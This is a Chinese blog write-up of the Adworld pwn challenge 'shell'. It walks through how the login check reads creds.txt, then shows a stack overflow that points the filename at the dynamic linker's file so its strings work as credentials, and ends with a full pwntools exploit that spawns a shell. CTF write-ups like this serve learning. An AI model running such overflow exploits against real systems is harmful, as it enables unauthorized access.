攻防世界(pwn) shell——c代码审计题

前言:

此题难度没有前几题或者后几题难度大,考验的是对c程序逻辑的理解。
在这里插入图片描述
开了canary和NX保护,我们打首先运行一下程序查看程序的逻辑。
在这里插入图片描述
程序打开了一个shell,但是只能运行ls指令,不能运行cat指令,这样我们就不能查看远端的信息了。
我们打开IDA看看程序的逻辑。
在这里插入图片描述
通过IDA的提示,我们知道,程序还可以运行login指令,他是一个登录程序,登录成功后就可以获取权限。
我们继续往下看,看看这个程序怎样才会登录成功。
在这里插入图片描述
我们输入的username和password会被程序和filename文件里面的字符串进行对比,只要filename里边特定存在他们,就会登录成功。
首先我们来看看filename是哪个文件?
在这里插入图片描述
他就是creds.txt文件,然后我们来看看我们是如何取出creds.txt里边的字符串的。
在这里插入图片描述
这里就涉及两个函数了:

getline:成员函数getline()是从输入流中读取一行字符,读到终止符时会将’0’存入结果缓冲区中,作为输入的终止。终止符可以是默认的终止符,也可以是定义的终止符。——————————引自百度百科

strtok:分解字符串为一组字符串。s为要分解的字符串,delim为分隔符字符串。
例如:strtok(“abc,def,ghi”,","),最后可以分割成为abc def ghi.尤其在点分十进制的IP中提取应用较多。
strtok的函数原型为char *strtok(char *s, char *delim),功能为“Parse S into tokens separated by characters in DELIM.If S is NULL, the saved pointer in SAVE_PTR is used as the next starting point. ” 翻译成汉语就是:作用于字符串s,以包含在delim中的字符为分界符,将s切分成一个个子串;如果,s为空值NULL,则函数保存的指针SAVE_PTR在下一次调用中将作为起始位置。——引自百度百科

我们发现程序会读取文件中的字符串,然后会把":"前后的字符串作为username和password。
但是我们并不知道creds.txt中的字符串内容。
我们发现程序中有一个明显栈溢出漏洞,相信大家一下子就看出来了。
在这里插入图片描述
在这里插入图片描述
我们只需要从v17溢出到filename指针,把文件地址改了就行,我们看一下字符串窗口。
在这里插入图片描述
看到这个文件是不是很熟悉?没错,他就是链接文件,链接动态llibc库用的,但是他和这题又有什么关系呢?
我们在下载题目文件时,是不是发现题目给了这个文件,恰好远端也有这个文件,我们就可以利用这个文件,来读取利用这个文件里边的字符串,这样我们就可以登录并且提权成功了。
我们用IDA打开这个文件,查看字符串:
在这里插入图片描述
这里发现有很多个(不只两个),我们随便使用一个就可以了。
完整exp:

! /usr/bin/env python
from pwn import *

local = 1
if local:
    p = process('./shell')
else:
    p = remote('159.138.137.79', *****)

p.sendline('login')
p.sendlineafter('Username: ', 'aaa')
payload = 'a' * 0x44 + p64(0x400200)
p.sendlineafter('Password: ',payload)
p.sendlineafter('Authentication failed!', 'login')
p.sendlineafter('Username: ','calling init')
p.sendlineafter('Password: ',' %s')
p.sendlineafter('Authenticated!', 'sh')
p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值